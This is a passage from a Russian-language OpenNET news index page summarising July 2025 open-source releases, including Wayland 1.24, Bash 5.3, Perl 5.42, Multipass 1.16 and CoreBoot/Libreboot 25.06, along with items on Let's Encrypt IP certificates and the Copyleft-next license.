The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

·07.07.2025 Доступен Wayland 1.24 (78 +2)
  После 13 месяцев разработки представлен стабильный релиз протокола, механизма межпроцессного взаимодействия и библиотек Wayland 1.24. Ветка 1.24 обратно совместима на уровне API и ABI с выпусками 1.x и содержит в основном исправления ошибок и незначительные обновления протокола. Наработки проекта распространяются под лицензией MIT. Эталонный композитный сервер Weston, предоставляющий код и рабочие примеры для использования Wayland в десктоп-окружениях и встраиваемых решениях, развивается в рамках отдельного цикла разработки.

Основные изменения в протоколе:

  • Реализован интерфейс wl_fixes, позволяющий решать проблемы с другими программными интерфейсами базовых протоколов, которые не могут быть устранены собственными возможностями этих интерфейсов. Например, запрос "wl_fixes::destroy_registry" позволяет ликвидировать объект wl_registry, после чего клиент не сможет его использовать, а композитный сервер прекратит передачу через него событий.
  • В программном интерфейсе wl_keyboard::key реализовано псевдо-состояние "repeated", означающие нахождение клавиши в нажатом виде. Клавиша может быть переведена в состояние "repeated" только после перехода в состояние "pressed", но до наступления состояния "released". Связанные с новым состоянием события могут генерировать несколько раз, пока клавиша нажата. Изменение позволяет композитным серверам обрабатывать повторные нажатия при удерживании клавиш как отдельные состояния, а не просто как поток повторных событий нажатия ("pressed"), что может быть полезным для организации работы с удалённым рабочим столом.
  • Добавлены функции wl_display_dispatch_queue_timeout() и wl_display_dispatch_timeout() для диспетчеризации событий в очереди с учётом таймаута (функции wl_display_dispatch и wl_display_dispatch_queue возвращают 0 только при отсутствии событий, а варианты *_timeiout ещё и при наступлении таймаута).
  • Добавлены функции wl_shm_buffer_ref() и wl_shm_buffer_unref() для доступа к разделяемой памяти, связанной c буфером wl_shm_buffer, после его ликвидации (например, когда клиент завершает работу). Функции позволяют отвязать буфер wl_shm_buffer от времени жизни основного ресурса wl_buffer, когда композитному серверу требуется отложить переход к новому состоянию.
  • Добавлены функции wl_proxy_get_interface() и wl_resource_get_interface(), возвращающие wl_interface для указанного ресурса, что востребовано в обвязках для языков с динамической типизацией.
  • Добавлена функция wl_resource_post_error_vargs(), выступающая альтернативой функции wl_resource_post_error() с возможностью передать список аргументов для форматирования строки (va_list).



Наиболее заметные события, связанные с Wayland и произошедшие с момента публикации прошлого выпуска:

  • Улучшение поддержки Wayland в проприетарных драйверах NVIDIA.
  • KDE планирует оставить только поддержку Wayland. Разделение кода kwin_x11 и kwin_wayland.
  • Ubuntu и Kubuntu оставят только поддержку сеанса Wayland в GNOME и KDE.
  • В GDM по умолчанию оставлена только поддержка Wayland.
  • GTK перевёл бэкенд для X11 в разряд устаревших.
  • В Fedora 43 решено удалить из репозитория пакеты, используемые в GNOME для работы поверх X-сервера. Все пользователи GNOME c X11 будут принудительно переключить на сеанс на базе Wayland.
  • В среде рабочего стола Budgie будет оставлена только поддержка Wayland.
  • В Xfce 4.20 реализована частичная поддержка Wayland.
  • MATE 1.28 с экспериментальной поддержкой Wayland.
  • Wayback - композитный сервер Wayland для запуска рабочих столов на базе X11
  • Компания Valve запустила проект Frog для ускорения продвижения новых протоколов Wayland.
  • Библиотека построения графических интерфейсов Cosmoe, использующая Wayland и API в стиле BeOS.
  • Включение по умолчанию драйвера Wayland в Wine.
  • Переход Raspberry Pi OS на использование Wayland.
  • Выпуск графического тулкита FLTK 1.4.0 с поддержкой Wayland.
  • В набор Wayland-Protocols добавлена дополнительная фаза продвижения протоколов - "experimental", нацеленная на снижение барьера при интеграции протоколов, ускорение доведения протоколов до разработчиков и стимулирование ранней реализации в существующих проектах.
  • AMD развивает собственный композитный сервер ACS, использующий Wayland.
  • Семь альфа-выпусков среды рабочего стола COSMIC.
  • Обновление композитных серверов: Weston 14.0, Niri 25.05, Wayland Maker 0.5, miracle-wm 0.5, Hyprland 0.49, labwc 0.8.3, Cage 0.2, Wayfire 0.9, Sway 1.11.



Добавленные за последний год расширения протоколов, дополняющих базовый протокол Wayland и поставляемых в отдельном наборе Wayland-Protocols:

  • color-management - возможности для управления цветом и поддержки расширенного динамического диапазона яркости (HDR, High Dynamic Range).
  • color-representation-v1 - задание цветового представления Wayland-поверхности.
  • xdg-toplevel-tag - позволяет Wayland-клиентам прикреплять теги к поверхностями верхнего уровня, которые композитный сервер может использовать для идентификации окон после перезапуска приложения.
  • ext-background-effect - применение эффектов к полупрозрачным частям Wayland-поверхности, таких как размытие фона.
  • pointer-warp - позволяет приложению мгновенно переместить указатель в указанную позицию.
  • xx-session-management - восстановление состояния окон для прерванных сеансов (например, после аварийного завершения композитного менеджера).
  • xx-input-method - развитие нового протокола для использования методов ввода текста. ext-data-control - позволяет привилегированным клиентам управлять обработкой данных, например, для реализации менеджеров буфера обмена.
  • ext-workspace - реализует концепцию виртуальных рабочих столов и предлагает события с информацией о состоянии рабочих столов, а также возможности для активации и деактивации рабочих столов.
  • xdg-system-bell - позволяет выводить системный сигнал, который может использоваться, например, как предупреждение в эмуляторе терминалов.
  • xdg-toplevel-icon - для привязки пиктограммы к окну верхнего уровня.
  • ext-image-capture-source и ext-image-copy-capture - захват выводимого на экран контента.
  • fifo - реализует FIFO-механизм (первым пришёл - первым ушёл) обработки очереди обновления содержимого отображаемой поверхности.
  • commit-timing - позволяет привязать ограничение времени к содержимому поверхности (композитный сервер должен отобразить изменение контента по возможности через указанное время, но не раньше).




Напомним, что Wayland представляет собой протокол взаимодействия композитного сервера и работающих с ним приложений. Клиенты самостоятельно выполняют отрисовку своих окон в отдельном буфере, передавая информацию об обновлениях композитному серверу, который комбинирует содержимое буферов отдельных приложений для формирования итогового вывода с учётом возможных нюансов, таких как перекрытие окон и прозрачность. Иными словами, композитный сервер не предоставляет API для отрисовки отдельных элементов, а оперирует только с уже сформированными окнами, что позволяет избавиться от двойной буферизации при использовании высокоуровневых библиотек, таких как GTK и Qt, берущих на себя работу по компоновке содержимого окон.

Wayland решает многие проблемы с безопасностью X11, так как в отличие от последнего изолирует ввод и вывод для каждого окна, не позволяет клиенту получить доступ к содержимому окон других клиентов, а также не допускает перехват связанных с другими окнами событий ввода. Поддержка прямой работы c Wayland реализована для большинства применяемых в Linux графических библиотек, включая GTK, Qt, SDL, FLTK, wxWidgets, Clutter и EFL (Enlightenment Foundation Library).

Взаимодействие с аппаратным обеспечением в Wayland/Weston, например, проведение инициализации, переключение видеорежимов (drm modesetting) и управление памятью (GEM для i915 и TTM для radeon и nouveau) графических карт, может производиться напрямую через модуль, работающий на уровне ядра, что позволяет обойтись без привилегий суперпользователя. Для обеспечения выполнения обычных X11-приложений в окружении на базе Wayland используется DDX-компонент XWayland (Device-Dependent X), похожий по организации работы на Xwin и Xquartz для платформ Win32 и macOS.

  1. OpenNews: Выпуск композитного сервера Weston 14.0
  2. OpenNews: Разработчики САПР KiCad раскритиковали Wayland и рекомендовали использовать X11
  3. OpenNews: Состояние поддержки Wayland в проприетарных драйверах NVIDIA
  4. OpenNews: Выпуск Wayland-Protocols 1.45
  5. OpenNews: Доступен Wayland 1.23
Обсуждение (78 +2) | Тип: К сведению | Интересно
·06.07.2025 Релиз командной оболочки Bash 5.3 (151 +21)
  После почти трёх лет разработки опубликована новая версия командного интерпретатора GNU Bash 5.3, используемого по умолчанию в большинстве дистрибутивов Linux. Одновременно сформирован релиз библиотеки readline 8.3, применяемой в bash для организации редактирования командной строки.

Из ключевых улучшений можно отметить:

  • Реализованы новые формы подстановки команд "${ command; }" и "${|command;}", позволяющие перехватить вывод команды без ответвления отдельного дочернего процесса и без использования неименованных каналов. Результаты выполнения команды отдаются как результат подстановки или записываются в переменную REPLY.
  • Добавлена новая переменная GLOBSORT, определяющая способ сортировки при дополнении файлового пути. Например, можно выбрать сортировку по имени (GLOBSORT=name), размеру (GLOBSORT=size) или времени изменения (GLOBSORT=mtime), а также определить прямой (от меньшего к большему) или обратный (от большего к меньшему) порядок сортировки (например, при "GLOBSORT=-size" вначале будут показаны самые большие файлы).
  • Во встроенную команду "compgen" добавлена опция "-V varname" для сохранения сгенерированных дополнений в переменную, вместо вывода в стандартный поток.
  • Во встроенную команду "read" добавлена опция "-E", при вводе данных задействующая библиотеку readline с правилами автодополнения конструкций bash.
  • Во встроенную команду "source" добавлена опция "-p PATH", позволяющая переопределить список поиска в файловых путях (указанное значение используется вместо переменной $PATH).
  • Исходный код переведён на использование стандарта C23. Прекращена возможность сборки компиляторами в режиме "K&R C" (стиль, соответствующий описанию языка Си в книге "The C Programming Language" Кернигана и Ритчи).
  • Во встроенной команде "umask" обеспечена полная совместимость со спецификациями POSIX.
  • Добавлена загружаемая команда "kv", формирующая ассоциативный массив на основе набора данных в формате "ключ значение".
  • Добавлена загружаемая команда "strptime", преобразующая текстовое представление даты и времени в эпохальное время (число секунд с 1 января 1970 года).
  • Добавлена загружаемая команда "fltexpr", позволяющая выполнять арифметические операции с плавающей запятой по аналогии с командой let.
  • Добавлена динамически выставляемая переменная BASH_MONOSECONDS, которая содержит текущее значение системных монотонных часов, которые непрерывно увеличиваются, даже при изменении времени в прошлое значение.
  • В режиме POSIX сравнение строк в команде "test", используя операторы "<" и ">", теперь производится с учётом текущей локали.
  • В команде "bind -x" разрешено разделение пробелом клавиши и вызываемой команды, если последовательность заключена в двойные кавычки.
  • В новой версии Readline предложена опция "search-ignore-case" для поиска в истории без учёта регистра символов. Добавлена команда "export-completions" для экспорта вариантов дополнения слова для обработки в других процессах. Добавлена команда "execute-named-command" для выполнения команды, имя которой получено из стандартного входного потока.

  1. OpenNews: Доступен командный интерпретатор Bash 5.2
  2. OpenNews: Уязвимость в реализации автодополнения ввода в Bash
  3. OpenNews: Опубликована командная оболочка fish 4.0, переписанная на языке Rust
  4. OpenNews: Релиз командной оболочки zsh 5.1
  5. OpenNews: Xonsh - командная оболочка, сочетающая Python с лучшими возможностями Bash, zsh и fish
Обсуждение (151 +21) | Тип: Программы |
·06.07.2025 Let's Encrypt начнёт выдавать TLS-сертификаты для IP-адресов (65 +31)
  Некоммерческий удостоверяющий центр Let's Encrypt, контролируемый сообществом и предоставляющий сертификаты безвозмездно всем желающим, анонсировал начало предоставления бесплатных сертификатов для IP-адресов. В отличие от сертификатов для доменов срок действия сертификатов для IP-адресов составит не 30, а 6 дней. Реализуемая возможность позволит настроить защищённый шифрованный доступ к хостам не только при использовании доменных имён, но и при обращении напрямую по IP-адресу.

Из областей, в которых может оказаться востребовано защищённое обращение к web-серверу напрямую по IP-адресу, упоминается взаимодействие с домашними устройствами, такими как серверы хранения; начальная настройка или тестирование новых серверов; организация шифрованных соединений между бэкендами во внутренней инфраструктуре; создание хостинг-провайдерами информационных страниц-заглушек, показываемых по умолчанию при обращении по IP; организация входа на привязанные к IP-адресам сервисы, такие как 1.1.1.1 и 8.8.8.8; развёртывание личных серверов, на которые не хочется тратить деньги на регистрацию домена; организация доступа к серверам DoH (DNS over HTTPS) напрямую по IP.

В настоящее время сертификаты для IP генерируются в тестовом режиме и будут доступны для широкого использования позднее в этом году, одновременно с возможностью генерации для доменов короткоживущих сертификатов, действующих 6 дней. Для запроса короткоживущего сертификата и сертификата для IP требуется наличие в ACME-клиенте поддержки расширения протокола, реализующего профили, а также поддержки профиля "shortlived". Для подтверждения владения IP-адресом можно использовать только методы http-01 и tls-alpn-01 (метод dns-01 запрещён).

  1. OpenNews: Let's Encrypt прекращает поддержку протокола OCSP для проверки отозванных сертификатов
  2. OpenNews: NS-сервера домена .top прекратили обслуживание запросов валидации Let's Encrypt
  3. OpenNews: Let's Encrypt перешёл на NTP-сервер ntpd-rs, написанный на языке Rust
  4. OpenNews: Let's Encrypt празднует 10 лет
  5. OpenNews: Максимальное время жизни TLS-сертификатов сократят с 398 до 47 дней
Обсуждение (65 +31) | Тип: К сведению |
·05.07.2025 Релиз Multipass 1.16, инструментария для развёртывания Ubuntu в виртуальных машинах (18 +7)
  Компания Canonical опубликовала выпуск инструментария multipass 1.16, предназначенного для упрощения установки различных версий Ubuntu в виртуальных машинах, запускаемых в системах виртуализации Linux, Windows и macOS. Выпуск примечателен полным открытием кодовой базы проекта - в репозиторий включён код компонентов для организации работы в Windows и macOS, ранее не распространяемый публично. Код проекта написан на C++ и распространяется под лицензией GPLv3. Для быстрой установки multipass в Ubuntu подготовлен snap-пакет.

Multipass позволяет разработчику одной командой без дополнительных настроек запустить нужную версию Ubuntu в виртуальной машине, например, для экспериментов или проверки работы своего приложения. Для запуска виртуальной машины в Linux используется KVM или VirtualBox, в Windows - Hyper-V, а в macOS - HyperKit. Поддерживается работа в дистрибутивах Arch Linux, CentOS, Debian, elementary OS, Fedora, KDE Neon, Kubuntu, Manjaro, Pop!_OS, openSUSE, Red Hat Enterprise Linux, Ubuntu и Raspberry Pi OS.

Инструментарий самостоятельно извлекает необходимый образ операционной системы и поддерживает его в актуальном состоянии. Для настройки может применяться cloud-init. Предусмотрена возможность как монтирования дисковых разделов в виртуальное окружение (команда "multipass mount"), так и передачи отдельных файлов между хост-системой и виртуальной машиной (команда "multipass transfer"). Поддерживается полная интеграция установленной виртуальной машины с основным рабочим столом (добавляются пиктограммы приложений, системное меню и уведомления).

Основные изменения:

  • Предоставлена возможность запуска в macOS и Windows собственных образов виртуальных машин, используя ссылки на локальный (file://) или внешний файл (https://).
  • Модернизирован графический интерфейс для управления виртуальными машинами и взаимодействия с сервисами multipass. Добавлена возможность запуска виртуальной машины с использованием конфигурации, применяемой для другой виртуальной машины. В терминале добавлена возможность масштабирования вывода (Ctrl + "+", Ctrl + "-", Ctrl + "0").
  • На Linux хостах с архитектурой ARM реализована поддержка запуска с использованием QEMU.
  • Добавлена возможность запуска виртуальной машины кнопкой "Open shell".
  • Обеспечено сохранение размера окна и улучшен выбор размеров окон по умолчанию.
  • Улучшена поддержка переноса данных через буфер обмена.
  • Для шифрования трафика gRPC задействован mTLS.
  • В разряд устаревших переведены драйверы запуска систем с использованием LXD и libvirt. Указанные драйверы будут удалены в следующей версии.

  1. OpenNews: Релиз Multipass 1.14, инструментария для развёртывания Ubuntu в виртуальных машинах
  2. OpenNews: Первый выпуск платформы виртуализации SEAPATH
  3. OpenNews: Представлен TinyKVM для виртуализации на уровне отдельных процессов
  4. OpenNews: Выпуск Proxmox VE 8.4, дистрибутива для организации работы виртуальных серверов
  5. OpenNews: Компания AMD открыла модуль ядра GIM для виртуализации GPU
Обсуждение (18 +7) | Тип: Программы |
·03.07.2025 Доступен язык программирования Perl 5.42 (168 +24)
  После года разработки опубликован релиз новой стабильной ветки языка программирования Perl - 5.42. При подготовке нового выпуска было изменено около 280 тысяч строк кода (без документации и автоматически сгенерированного кода - 93 тысячи), изменения затронули 1500 файлов, в разработке приняли участие 64 разработчика.

Ветка 5.42 выпущена в соответствии с утверждённым двенадцать лет назад фиксированным графиком разработки, подразумевающим выпуск новых стабильных веток раз в год и корректирующих релизов - раз в три месяца. Примерно через месяц планируется выпустить первый корректирующий релиз Perl 5.42.1, в котором будут исправлены наиболее значительные ошибки, выявленные в процессе внедрения Perl 5.42.0. Одновременно с выходом Perl 5.42 прекращена поддержка ветки 5.38, для которой обновления могут быть выпущены в будущем только в случае выявления критических проблем с безопасностью. Начался процесс разработки экспериментальной ветки 5.43, на базе которой в июне 2026 года будет сформирован стабильный релиз Perl 5.44, если не будет принято решение перейти к нумерации 7.x.

Ключевые изменения:

  • Добавлены экспериментальные операторы обработки списков - "any { BLOCK } @list" и "all { BLOCK } @list", которые напоминают оператор "grep { BLOCK } @list", но могут возвращать только значения true или false. Оператор "all" возвращает "true" при выполнении условия для всех элементов списка, а оператор "any" - при выполнении условия хотя бы для одного элемента. Функциональность операторов аналогична функциям из модуля List::Util, но встроенные варианты быстрее и потребляют меньше памяти.
    
       use v5.42;
       use feature 'keyword_all';
       no warnings 'experimental::keyword_all';
       my @numbers = ...
       if ( all { $_ % 2 == 0 } @numbers ) {
           say "All the numbers are even";
       }
    
  • Для определяемых внутри класса полей реализован атрибут ":writer", применяемый для автоматического создания метода, записывающего значение переменной в поле для текущего экземпляра класса.
    
       class Point {
           field $x :reader :writer :param;
           field $y :reader :writer :param;
       }
       my $p = Point->new( x => 20, y => 40 );
       $p->set_x(60);
    
  • Добавлена поддержка определения лексических методов, которая по аналогии с определением лексических подпрограмм ("lexical_subs"), позволяет создавать методы, доступные только в области лексической видимости блока в котором они были созданы. Для создания подобных методов используется выражение "my имя_метода".
  • Добавлен оператор "->&", позволяющий вызывать подпрограммы, находящиеся в лексической области видимости, так, как будто они являются методами. В сочетании с возможностью определения лексических методов новый оператор реализует функциональность, похожую на приватные методы.
  • Добавлен оператор присвоения "A ^^= B", выполняющий операцию "A = A XOR B".
  • Добавлена прагма "source::encoding", определяющая кодировку исходного кода. Для кода в кодировке ASCII можно указать "use source::encoding 'ascii'" (по умолчанию), а для UTF-8 - "use source::encoding 'utf8'", при этом последнее выражение эквивалентно выражению "use utf8". Интерпретатор выведет ошибку, если в коде, помеченном как ASCII, встречаются символы UTF-8, или если в коде, помеченном как UTF-8, используются escape-последовательности "\x{}". Для отключения проверки части кода можно использовать значение "no source::encoding". На практике, добавленная прагма может оказаться полезной для выявления случаев, когда разработчик забыл указать "use utf8" для кода в кодировке UTF-8.
  • В пространство имён "CORE::" добавлена функция chdir(). Например, теперь к данной функции можно обращаться как "&CORE::chdir($dir)" или "my $ref = \&CORE::chdir; $ref->($dir)".
  • Добавлено выражение 'no feature "apostrophe_as_package_separator"' для отключения поддержки использования символа " ' " в качестве разделителя имён пакетов (например, "My'Module'Var" вместо "My::Module::Var"). Изначально в Perl 5.42 планировалось удалить поддержку подобных разделителей, которые ранее были объявлены устаревшими, но в ходе обсуждений было решено сохранить данную возможность по умолчанию, но предусмотреть опцию для отключения.
  • В число возвращаемых возможностей переведена функциональность "switch" и оператор "~~", которые ранее были помечены устаревшими и были запланированы к удалению. Начиная с выпусков Perl 5.36 и 5.42 возможности "switch" и "~~" по умолчанию отключены при привязке кода к версиям языка (например, при указании "use v5.42"), но могут быть активированы выражениями 'use feature "switch"' и 'use feature "smartmatch"'.
  • Добавлена поддержка спецификации Unicode 16.0.

  1. OpenNews: Доступен язык программирования Perl 5.40.0
  2. OpenNews: Переполнение буфера в Perl, связанное с обработкой символов
  3. OpenNews: Уязвимость в Perl-модуле Spreadsheet::ParseExcel, используемая для компрометации Barracuda ESG
  4. OpenNews: Доступен язык программирования Perl 5.38.0 с поддержкой классов
  5. OpenNews: Релиз компилятора Rakudo 2023.04 для языка программирования Raku (бывший Perl 6)
Обсуждение (168 +24) | Тип: Программы |
·03.07.2025 Возобновлена работа над лицензией Copyleft-next, развиваемой на смену GPLv3 (263 –39)
  Бредли Кун (Bradley M. Kuhn), основатель правозащитной организации Software Freedom Conservancy (SFC) и бывший директор Фонда СПО, и Ричард Фонтана (Richard Fontana), один из трёх ключевых авторов лицензии GPLv3 (два остальных - Ричард Столлман и Эбен Моглен) и бывший директор организации OSI (Open Source Initiative), объявили о возобновлении работы над лицензией Copyleft-next. Разработка новой лицензии началась в 2012 году под именем GPL.next, но с 2016 года проект не развивался.

Целью проекта является разработка копилефт лицензии нового поколения, идущей на смену лицензии GPLv3, а также учитывающей современные реалии и потребности корпораций, развивающих свободные проекты. Отмечается, что лицензии GPLv3 исполнилось 18 лет, а GPLv2 - 34 года, и за это время в сообществе назрела потребность в пересмотре применения жёсткого копилефта.

Текст лицензии Copyleft-next основан на лицензии GPLv3, очищенной от лишних нагромождений и ограничений, что позволило улучшить совместимость с пермиссивными лицензиями и добиться переносимости с проектами под лицензией Apache. Лицензия значительно сокращена и упрощена для восприятия (например, убраны введение с политикой фонда СПО, приложение с пояснениями по применению, упоминания избыточных и устаревших компромиссов).

Одним их принципиальных отличий от существующих копилефт лицензий стал пункт "Copyleft Sunset", отменяющий условия соблюдения копилефта через 15 лет после первой публикации работы под лицензией Copyleft-next. В частности, через 15 лет лицензия превращается в разрешительную, так как прекращают действовать пункты 3-5 c требованиями по распространению производных продуктов под лицензией Copyleft-next, запретом наложения дополнительных ограничений и обязательной доступности исходного кода при распространении бинарных сборок.

Другим нетипичным новшеством является аннулирование копилефт защиты при двойном лицензировании проекта - под лицензией Copyleft-next и коммерческой лицензией. Если продукт дополнительно поставляется под коммерческой лицензией или на условиях, противоречащих критериям OSI или Фонда СПО, то в свободном варианте продукта прекращают действовать пункты 3-5, обеспечивающие копилефт-защиту произведения (лицензия превращается в пермиссивную).

Из возможностей Copyleft-next также можно отметить отзыв лицензии в случае нарушения условий использования (например, если началось распространение производного продукта без предоставления доступа к исходному коду). На исправление нарушения даётся 13 дней. Лицензия также отзывается у лиц, инициировавших судебный процесс по нарушению патентов (за исключением встречных исков), пересекающихся с проектом под лицензией Copyleft-next.

  1. OpenNews: Один из авторов GPLv3 представил лицензию GPL.next
  2. OpenNews: Анализ проблем с GPL у бизнес-модели Red Hat
  3. OpenNews: Инициатива по отмене определения открытой AI-системы, как обесценивающего понятие Open Source
  4. OpenNews: В Fedora намерены запретить поставку ПО, распространяемого под лицензией CC0
Обсуждение (263 –39) | Тип: К сведению |
·02.07.2025 В GNOME 49 просмотрщик документов Evince заменят на приложение Papers (134 +3)
  Команда, отвечающая за формирование релизов GNOME, одобрила включение в основной состав GNOME нового просмотрщика документов Papers. Начиная с выпуска GNOME 49, программа Papers будет поставляться вместо Evince под именем Document Viewer в качестве просмотрищика документов по умолчанию. Изменения, связанные с заменой Evince на Papers, приняты в репозиторий GNOME. В Ubuntu 25.04 приложение Papers уже поставляется вместо Evince.

Приложение Papers является форком Evince, созданным год назад одним из участников разработки ветки evince-next с целью существенной модернизации кодовой базы. Ключевыми отличиями Papers стало портирование на библиотеку GTK4 и задействование языка Rust для разработки - на Rust переписывается код, обеспечивающий работу интерфейса пользователя. Из значительных отличий также выделяется существенная модернизация оформления, повышение производительности и интеграция средств для заверения документов цифровой подписью.

По функциональности Papers близок к Evince и также позволяет просматривать, искать и аннотировать документы в форматах PDF, DjVu, TIFF и архивах комиксов (CBR, CBT, CBZ, CB7). При этом в Papers проведена чистка API библиотек libppsdocument и libppsview, а также прекращена поддержка формата DVI и платформы Windows. Многие внутренние виджеты Evince заменены на стандартные виджеты GTK. Прекращено использование фонового процесса papersd. Вместо ручной перезагрузки документа подобная операция теперь выполняется автоматически при определении изменения файла. Убрана отдельная панель с инструментами для добавления аннотаций, вместо которой рекомендовано использовать контекстное меню или горячие клавиши.

  1. OpenNews: Уязвимость в GNOME Evince, позволяющая выполнить код при построении миниатюр
  2. OpenNews: В GNOME SDK добавлена поддержка языка построения интерфейсов Blueprint
  3. OpenNews: В GNOME 49 видеопроигрыватель Totem заменят на Showtime
  4. OpenNews: Дистрибутив GNOME OS перешёл на стадию тестирования на реальном оборудовании
  5. OpenNews: В GNOME будет усилена зависимость от systemd
Обсуждение (134 +3) | Тип: К сведению |
·02.07.2025 Выпуск загрузочных прошивок CoreBoot 25.06, Libreboot 25.06 и Canoeboot 25.06 (29 +9)
  Опубликован выпуск проекта CoreBoot 25.06, разрабатывающего свободную альтернативу проприетарным прошивкам и BIOS. Код проекта распространяется под лицензией GPLv2. В состав новой версии включено 879 изменений, подготовленных при участии 128 разработчиков.

Основные изменения:

  • Реализована поддержка материнских плат:
    • ASUS H61M-A/USB3;
    • CWWK CW-ADL-4L-V1.0 и CW-ADLNTB-1C2L-V3.0;
    • Intel Google Chrome EC;
    • MiTAC Computing R520G6SB и SC513G6;
    • NovaCustom V540TNx (14") и V560TNx (16");
    • Siemens MC RPL1;
    • Star Labs Byte Mk III (N355);
    • System76 darp11 и lemp13;
    • 21 плата, применяемая в различных устройствах с Chrome OS или на серверах Google.
  • Добавлена поддержка пятого поколения процессоров Intel Xeon Scalable - "Emerald Rapids", позволяющая использовать CoreBoot на последних платформах Intel для серверов и рабочих станций. Среди прочего реализованы появившиеся в "Emerald Rapids" новые возможности управления энергопотреблением. Продолжена работа над реализацией поддержки будущего поколения Intel "Panther Lake".
  • Добавлена поддержка SoC Qualcomm Snapdragon X Plus X1P-42-100 и улучшена поддержка платформ MediaTek MT8189 и MT8196.
  • Полностью переработана инфраструктура для показа заставки во время загрузки. В новой реализации улучшена отрисовка информации, добавлена поддержка различных типов логотипов, добавлена возможность размещения дополнительной информации в нижней части экрана, предоставлены средства для управления выравниванием логотипа по горизонтали, улучшено отслеживание окончания отрисовки, интегрирована возможность отдельной обработки состояний с низким зарядом аккумулятора.
  • В утилиту cbfstool, применяемую для управления ФС CBFS (CoreBoot File System), добавлен режим multi-ELF, позволяющий разработчикам прошивок встраивать в одну запись CBFS несколько бинарных файлов в формате ELF. Подобное может использоваться в сценариях, в которых необходима одновременная загрузка нескольких компонентов или используются компоненты TEE (Trusted Execution Environment).
  • Для Wi-Fi и Bluetooth реализована поддержка DSM-функций PRR (Power Reduction Request), существенно расширяющих возможности управления энергопотреблением в подсистемах для беспроводных устройств. Например, реализованные методы ACPI позволяют операционным системам запрашивать включение агрессивных режимов экономии энергии во время простоя или когда беспроводные функции не используются. Реализация совместима со спецификациями режима Standby от Microsoft, что позволяет синхронизировать энергопотребление беспроводных устройств с состояниями спящего режима в операционных системах, в том числе в Windows.
  • В подсистеме vboot, применяемой для верифицированной загрузки, обеспечено создание резервных копий данных CMOS на поздних стадиях загрузки. Изменение обеспечивает дополнительную защиту от повреждения данных при возникновения аварийных ситуаций во время запуска прошивки и позволяет сохранить целостность важных параметров конфигурации при экстренном отключении питания во время выполнения сложных процедур инициализации.
  • В Kconfig добавлена опция VBOOT_EC_SYNC_ESOL для управления поведением синхронизации встроенных контроллеров.
  • В сборочной системе обеспечена совместимость с GCC 15. В crossgcc реализована поддержка спецификаций для архитектуры набора команд RISC-V. Значительно улучшено управление субмодулями и упрощено отслеживание обновлений сторонних компонентов.
  • В документацию добавлено разъяснение политики проекта в отношении использования AI-инструментов при написании кода. Добавлены пункты о том, что разработчики должны обладать правами на код и несут ответственность за соответствие передаваемого кода стандартам качества CoreBoot и соблюдение лицензий. При нарушении прав третьих лиц код будет удаляться или заменяться.



Дополнительно можно отметить релиз свободной загрузочной прошивки Libreboot 25.06, который получил статус стабильного выпуска, сосредоточенного на оттачивании функциональности, добавленной в экспериментальных выпусках (стабильные релизы в основном содержат исправления и публикуются примерно раз в год, прошлый стабильный релиз был в декабре). Проект развивает готовую сборку проекта Coreboot, предоставляющую замену проприетарным прошивкам UEFI и BIOS, отвечающим за инициализации CPU, памяти, периферийных устройств и других компонентов оборудования, с минимизацией бинарных вставок.

Libreboot нацелен на формирование системного окружения, позволяющего обойтись без проприетарного ПО настолько, насколько это возможно, не только на уровне операционной системы, но и прошивки, обеспечивающей загрузку. Libreboot дополняет Coreboot средствами для упрощения применения конечными пользователями, формируя готовый дистрибутив, которым может воспользоваться любой пользователь, не имеющий специальных навыков.

По сравнению с прошлым стабильным релизом добавлена поддержка материнской платы Acer Q45T-AM, а также мини-ПК Dell Precision T1700 SFF и MT. Улучшена система сборки. Добавлена возможность сборки с использованием GCC 15. CoreBoot синхронизирован с репозиторием по состоянию на 20 апреля. С актуальными кодовыми базами синхронизированы компоненты GRUB2, U-Boot, SeaBIOS, flashprog, uefitool и NASM.

Оборудование, поддерживаемое в Libreboot:

  • Серверные материнские платы:
    • ASUS KFSN4-DRE
    • ASUS KGPE-D16
  • Десктоп-системы:
    • Gigabyte GA-G41M-ES2L;
    • Acer G43T-AM3, Q45T-AM;
    • Intel D510MO / D410PT;
    • Apple iMac 5,2;
    • HP Elite 8200 SFF/MT;
    • HP Elite 8300 USDT;
    • ASUS KCMA-D8;
    • Dell Precision T1650, T1700 SFF/MT;
    • Intel D945GCLF
    • Dell OptiPlex 3050 Micro, 7010, 7020, 9010 и 9020 серии SFF, XE2 SFF, MT и XE2 MT, 780 USFF/MT ;
  • Ноутбуки:
    • ThinkPad X60 / X60S / X60 Tablet;
    • ThinkPad T60;
    • Lenovo ThinkPad X200 / X200S / X200 / X220 / X230 / X230 eDP / X230 Tablet;
    • Lenovo ThinkPad X301;
    • Lenovo ThinkPad R400;
    • Lenovo ThinkPad T400 / T400S / T420 / T420S / T430 / T440 / T480 / T480S.
    • Lenovo ThinkPad T500 / T530;
    • Lenovo ThinkPad W530 / W541;
    • Lenovo ThinkPad R500;
    • HP EliteBook 2560p / 2570p / 2170p / 8470p / Folio 9470m;
    • HP EliteBook 820 G2;
    • HP Compaq Elite 8300 CMT;
    • HP EliteBook 8460p;
    • HP EliteBook 8560w;
    • Dell Latitute E6400 / E6430;
    • Dell Latitude E5420 / E5520 / E5530 / E6520 / E6530 / E6420 / E6220 / E6320 / E6330 / E6230 / E4300;
    • Apple MacBook1 и MacBook2;
    • ASUS Chromebook Flip C101 (ARM);
    • Samsung Chromebook Plus (ARM).
  • Игровые приставки:
    • Sony PlayStation 1.



Также сформирован выпуск проекта Canoeboot 25.06, который позиционируется как полностью свободная сборка Libreboot, соответствующая требованиям Фонда СПО к свободным дистрибутивам. Выпуск Canoeboot основан на версии Libreboot 25.06, из которой удалены компоненты и изменения, не соответствующие критериям Фонда СПО.

Необходимость в создании отдельной сборки Libreboot объясняется тем, что сформированные Фондом СПО требования к свободным дистрибутивам не допускают поставку бинарных прошивок (firmware) и любых бинарных компонентов драйверов. При этом начиная с 2022 года проект Libreboot перешёл на более прагматичные правила использования бинарных компонентов, позволившие заметно расширить спектр поддерживаемого аппаратного обеспечения. Новой целью проекта Libreboot стала поддержка всего оборудования, поддерживаемого в coreboot, за исключением бинарных компонентов, влияющих на безопасность и надёжность (например, в Libreboot используется me_cleaner для отключения Intel ME). При таком подходе Libreboot потерял статус полностью свободного дистрибутива с позиции Фонда Свободного ПО.

В новой версии Canoeboot реализована поддержка:

  • материнской платы Acer Q45T-AM
  • ПК Dell Precision T1650
  • ПК Dell OptiPlex 7010 SFF, 9020 SFF, 9020 MT
  • ПК HP Elite 8200 SFF, 8300 CMT, 8300 USDT,
